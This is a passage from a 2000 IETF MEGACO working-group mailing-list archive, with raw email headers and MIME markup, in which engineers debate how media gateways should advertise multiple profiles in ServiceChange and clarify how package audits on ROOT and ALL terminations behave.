<BR><FONT SIZE=3D2>&gt; The real issue is, suppose you only had an MGC =
available that</FONT>
<BR><FONT SIZE=3D2>&gt; DID understand Ipphone, but did NOT understand =
Ipfaxphone.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; What is the right thing to do?</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; a) fail, because you can't fax, and a =
user may expect that</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; b) use the Ipphone protocol and cause a =
local error if</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
a user tried to fax</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; c) have local action (provisioning, or =
local configuration)</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
that disables the fax function</FONT>
<BR><FONT SIZE=3D2>&gt; I'm not really sure what the best answer =
is.&nbsp; It's not</FONT>
<BR><FONT SIZE=3D2>&gt; obvious to me that there IS a good =
answer.&nbsp; It's good to</FONT>
<BR><FONT SIZE=3D2>&gt; use the lowest common denominator to get =
service, but you</FONT>
<BR><FONT SIZE=3D2>&gt; really ought to disable fax at the local =
terminal (which</FONT>
<BR><FONT SIZE=3D2>&gt; could downgrade the profile).</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; I do think you have raised another issue worth =
discussing,</FONT>
<BR><FONT SIZE=3D2>&gt; which is:</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Should we create a new profile to add one feature,</FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; or should MGCs audit =
always?</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; This also seems to me to not have an ideal =
answer:</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp; Making tons of profiles to add =
features is clearly going to</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp; give us lots of non-interoperable =
devices</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
but</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp; auditing removes any usefulness of =
profiles for actual</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp; operation of the protocol</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; Brian</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; From: John Segers [<A =
HREF=3D"mailto:jsegers@LUCENT.COM">mailto:jsegers@LUCENT.COM</A>]</FONT>=

<BR><FONT SIZE=3D2>&gt; &gt; Sent: Wednesday, September 06, 2000 10:48 =
AM</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; To: =
MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Subject: Re: Profiles in Service =
Change</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; I agree to the underlying idea that =
profiles could be used to</FONT>
<BR><FONT SIZE=3D2>&gt; restrict</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; fragmentation.&nbsp; On the other hand, I =
think that Christian has a</FONT>
<BR><FONT SIZE=3D2>&gt; point.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; His example may have been unfortunate =
because it mentioned a call</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; signaling protocol, but the point is =
valid.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Suppose that I want to build a MG that =
supports the IPphone</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; profile, and</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; I also build in IP fax support.&nbsp; If =
my MG signals that it supports</FONT>
<BR><FONT SIZE=3D2>&gt; the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; IPphone profile, the MGC infers that this =
MG supports a certain set</FONT>
<BR><FONT SIZE=3D2>&gt; of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; packages and maybe some things that are =
optional in the base megaco</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; protocol.&nbsp; It doesn't have a reason =
to audit the MG and find</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; out that it</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; can also do IP fax.&nbsp; So how do I get =
the MGC to use the fax support</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; (other than by provisioning the MGC with =
this information)?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; John</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Flemming Andreasen wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; OK - I'll buy that.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; -- Flemming</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &quot;Rosen, Brian&quot; =
wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; What is wrong is that it =
promotes proliferation of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; many overlapping profiles.&nbsp; =
Profiles are supposed to be</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; a way of reducing the =
variability that Packages provide,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; so that one could reasonably =
expect to be able to find</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; interoperable MGs and =
MGCs.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; No one can legislate this (no =
protocol police...), but</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; we can encourage, or discourage =
proliferation of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; many profiles that attempt to =
solve the same problem</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; different ways.&nbsp; If you =
support 100 profiles, you may</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; as well just ignore the profile =
info and look at the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; audited package list!</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; I want to make it HARD to have =
more than one profile</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; per MG (not MGC).&nbsp; Not =
impossible, just hard.&nbsp; I think</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; that will encourage coalescing =
around a small number of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; profiles for specific purposes =
that all relevant MGs and</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; MGCs support, which in turn will =
make the protocol successful.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; What I fear is balkanization by =
proliferation of profiles,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; which leads to non-interoperable =
devices.&nbsp; It would be non</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; interoperable because there were =
no common profiles, rather</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; that if you found a common one, =
it wouldn't work.&nbsp; The</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; package mechanism is a wonderful =
way to have all sorts of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; extensions and features in =
MGs.&nbsp; The profile mechanism was</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; designed to provide a way to =
corral the easy expansion into</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; more limited groups of =
options.&nbsp; Generally, successful</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; protocols are not easy =
&quot;bent&quot; in many different ways -&gt; you</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; get ONE way, and everyone does =
it that way, and the world</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; is better for it.&nbsp; The =
package thing is great, but it is</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; a danger.&nbsp; The profile is =
the only way I know to limit it's</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; potential to undermine the =
effectiveness of the protocol.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Brian</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; -----Original =
Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; From: Flemming Andreasen =
[<A =
HREF=3D"mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>=

<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; Sent: Wednesday, September =
06, 2000 10:01 AM</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; To: Michael P =
DiGioia</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; Cc: =
MEGACO@STANDARDS.NORTELNETWORKS.COM; Christian Groves;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; Rosen, Brian</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; Subject: Re: Profiles in =
Service Change</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; Michael P DiGioia =
wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; Brian,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; So does that =
mean that nobody can make an MG which</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; supports more than</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; one profile? =
:-)</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;One way to get =
around the limitation is to try to get</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;service using the =
most &quot;featurefull&quot; profile.&nbsp; If you fail</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;to find an MGC =
that can serve that profile, try again with</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;a different =
profile.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; I agree. I believe the =
point is that any one MG can support</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; one or more</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; profile, however, once =
the most featurefull profile is</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; found to be accepted</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; by an MGC, use =
it.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; I disagree as Brian's =
comments assumes a meaningful ordering</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; relation between</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; (at least a resonable =
subset of) profiles based on some set</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; of features</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; supported. I don't see =
that. Christian's proposal of allowing</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; a listing of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; profiles seemed pretty good =
to me - what was wrong with</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; this again ?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; -- Flemming</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; What we build into our =
IpPhone MG is our choice. I don't</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; believe this limits</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; us in any way. If so, =
how?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; /mpd</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; Flemming Andreasen</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; Cisco Systems</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Flemming Andreasen</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Cisco Systems</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; John =
Segers&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
email:</FONT>
<BR><FONT SIZE=3D2>&gt; jsegers@lucent.com</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Lucent =
Technologies&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Room HE</FONT>
<BR><FONT SIZE=3D2>&gt; 303</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Dept. Forward Looking =
Work&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; phone: +31 =
35 687</FONT>
<BR><FONT SIZE=3D2>&gt; 4724</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; P.O. Box 18, 1270 AA&nbsp; =
Huizen&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fax: +31 =
35 687</FONT>
<BR><FONT SIZE=3D2>&gt; 5954</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
</P>

<P><FONT SIZE=3D2>--</FONT>
<BR><FONT SIZE=3D2>John =
Segers&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; email: =
jsegers@lucent.com</FONT>
<BR><FONT SIZE=3D2>Lucent =
Technologies&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Room HE 303</FONT>
<BR><FONT SIZE=3D2>Dept. Forward Looking =
Work&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; phone: +31 =
35 687 4724</FONT>
<BR><FONT SIZE=3D2>P.O. Box 18, 1270 AA&nbsp; =
Huizen&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fax: +31 =
35 687 5954</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C01C05.DC5FE460--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 11:40:54 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA05191
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 11:40:53 -0400 (EDT)
Received: from standards (47.234.32.16:1900) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91F9B@standards.nortelnetworks.com>; Mon, 11 Sep 2000 11:26:05 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 2512 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 11:26:05 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB91F9A@standards.nortelnetworks.com>; Mon, 11 Sep 2000 11:26:05
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id LAA29819 for <megaco@standards.nortelnetworks.com>; Mon, 11
          Sep 2000 11:39:18 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id LAA15431 for <megaco@standards.nortelnetworks.com>; Mon, 11
          Sep 2000 11:39:18 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <SPQ8PCL6>; Mon, 11 Sep 2000 11:39:07 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF678859@whq-msgusr-02.pit.comms.marconi.com>
Date:         Mon, 11 Sep 2000 11:39:01 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Audit of Packages
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

In some private correspondence, there was some continuing
confusion on auditValue of Packages.  Here is my current
understanding:

1. If you audit ROOT, using NULL context, you get the list
of Packages implemented on ROOT. You don't get Packages
implemented on any other terminations.

2. If you audit ALL, using NULL context, you get the union of
packages implemented on any termination in NULL.  Since, right
after boot, all terminations are in NULL, this is the normal
way you get the list of packages implemented on the gateway.
A notable side effect:
        ROOT is not in ALL.
        Therefore, Context=-{AuditValue=*{Audit{Packages}}}
                DOES NOT get you packages implemented on ROOT

3. If you audit ALL, using ALL context, you get the union
of packages implemented on any termination in any Context other
than NULL.  You would do this if you needed the packages list
when some terminations were in contexts other than NULL.

Please note that if you ask for an audit of ALL in ALL, and there
are no terminations in Contexts other than NULL, you get an
error (431 - No TerminationID matched a wildcard).

Is that everyone else's understanding?

Brian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 11:48:51 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA05331
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 11:48:46 -0400 (EDT)
Received: from standards (47.234.32.16:1900) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91FCC@standards.nortelnetworks.com>; Mon, 11 Sep 2000 11:33:18 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 2575 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 11:33:18 -0400
Received: from qhars002.nortel.com (47.101.112.102:65312) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB91FCB@standards.nortelnetworks.com>; Mon, 11 Sep 2000
          11:33:17 -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Mon, 11 Sep 2000
          16:46:10 +0100
Received: from zrtpd004.us.nortel.com by zrtps06s.us.nortel.com; Mon, 11 Sep
          2000 11:42:29 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <S37AFFW1>; Mon, 11 Sep 2000 11:42:30 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C01C06.DE387F80"
X-Orig: <blather@americasm01.nt.com>
Message-ID:  <353093573B82D411889E0000F808216648E349@zcard00q.ca.nortel.com>
Date:         Mon, 11 Sep 2000 11:42:19 -0400
Reply-To: Peter Blatherwick <blather@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Peter Blatherwick <blather@NORTELNETWORKS.COM>
Subject:      Re: Profiles in Service Change
X-To:         Christian Groves <Christian.Groves@ERICSSON.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C01C06.DE387F80
Content-Type: text/plain;
        charset="iso-8859-1"

I believe that "something's" you are looking for have already been
discussed.

Re solutions, I recall seeing on this thread:
1) Backoff mechanism, try Profile X, and if MG can't get it confirmed, go to
next less capable profile Y.
2) Use multiple virtual MGs within the same physical device,
3) Define super-profiles, containing X + Y, and being sure to resolve any
resulting ambiguity (noting we currently have no rules for subclassing-like
mechanism a la package definition, but it would be a nice version 2 piece to
work through).
May have missed some (did not go back and double-check).

I also think a brief note on what profiles are intended to do (avoiding
explicit rules) would be in order.  I think most of that material has also
gone by in this thread.

My 0.05 (to avoid Oz round-off ;-)

-- Peter

-----Original Message-----
From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
Sent: Wednesday, September 06, 2000 19:59
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Profiles in Service Change


G'Day Brian,

I completely agree that we want to make it HARD to have a multiplicity
of overlapping profiles.  But with the current text I see that we make
it impossible, its got one profile and only talks about a profile. That
is why I'd like to see : a technical change in the implementor's guide
or an implementation or "something" to say at least say how you cope
with the case where: the MG supports multiple profiles and/or the MGC
needs to access 2 profiles to complete a service. Its a real world issue
that we have to deal with as soon as we have 2 profiles defined.

Cheers, Christian

"Rosen, Brian" wrote:
>
> What is wrong is that it promotes proliferation of
> many overlapping profiles.  Profiles are supposed to be
> a way of reducing the variability that Packages provide,
> so that one could reasonably expect to be able to find
> interoperable MGs and MGCs.
>
> No one can legislate this (no protocol police...), but
> we can encourage, or discourage proliferation of
> many profiles that attempt to solve the same problem
> different ways.  If you support 100 profiles, you may
> as well just ignore the profile info and look at the
> audited package list!
>
> I want to make it HARD to have more than one profile
> per MG (not MGC).  Not impossible, just hard.  I think
> that will encourage coalescing around a small number of
> profiles for specific purposes that all relevant MGs and
> MGCs support, which in turn will make the protocol successful.
>
> What I fear is balkanization by proliferation of profiles,
> which leads to non-interoperable devices.  It would be non
> interoperable because there were no common profiles, rather
> that if you found a common one, it wouldn't work.  The
> package mechanism is a wonderful way to have all sorts of
> extensions and features in MGs.  The profile mechanism was
> designed to provide a way to corral the easy expansion into
> more limited groups of options.  Generally, successful
> protocols are not easy "bent" in many different ways -> you
> get ONE way, and everyone does it that way, and the world
> is better for it.  The package thing is great, but it is
> a danger.  The profile is the only way I know to limit it's
> potential to undermine the effectiveness of the protocol.
>
> Brian
>
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > Sent: Wednesday, September 06, 2000 10:01 AM
> > To: Michael P DiGioia
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM; Christian Groves;
> > Rosen, Brian
> > Subject: Re: Profiles in Service Change
> >
> >
> >
> >
> > Michael P DiGioia wrote:
> >
> > > Brian,
> > >
> > > > > So does that mean that nobody can make an MG which
> > supports more than
> > > > > one profile? :-)
> > >
> > > >One way to get around the limitation is to try to get
> > > >service using the most "featurefull" profile.  If you fail
> > > >to find an MGC that can serve that profile, try again with
> > > >a different profile.
> > >
> > > I agree. I believe the point is that any one MG can support
> > one or more
> > > profile, however, once the most featurefull profile is
> > found to be accepted
> > > by an MGC, use it.
> >
> > I disagree as Brian's comments assumes a meaningful ordering
> > relation between
> > (at least a resonable subset of) profiles based on some set
> > of features
> > supported. I don't see that. Christian's proposal of allowing
> > a listing of
> > profiles seemed pretty good to me - what was wrong with this again ?
> >
> > -- Flemming
> >
> > >
> > >
> > > What we build into our IpPhone MG is our choice. I don't
> > believe this limits
> > > us in any way. If so, how?
> > >
> > > /mpd
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
> >
> >

------_=_NextPart_001_01C01C06.DE387F80
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Profiles in Service Change</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>I believe that &quot;something's&quot; you are =
looking for have already been discussed.&nbsp; </FONT>
</P>

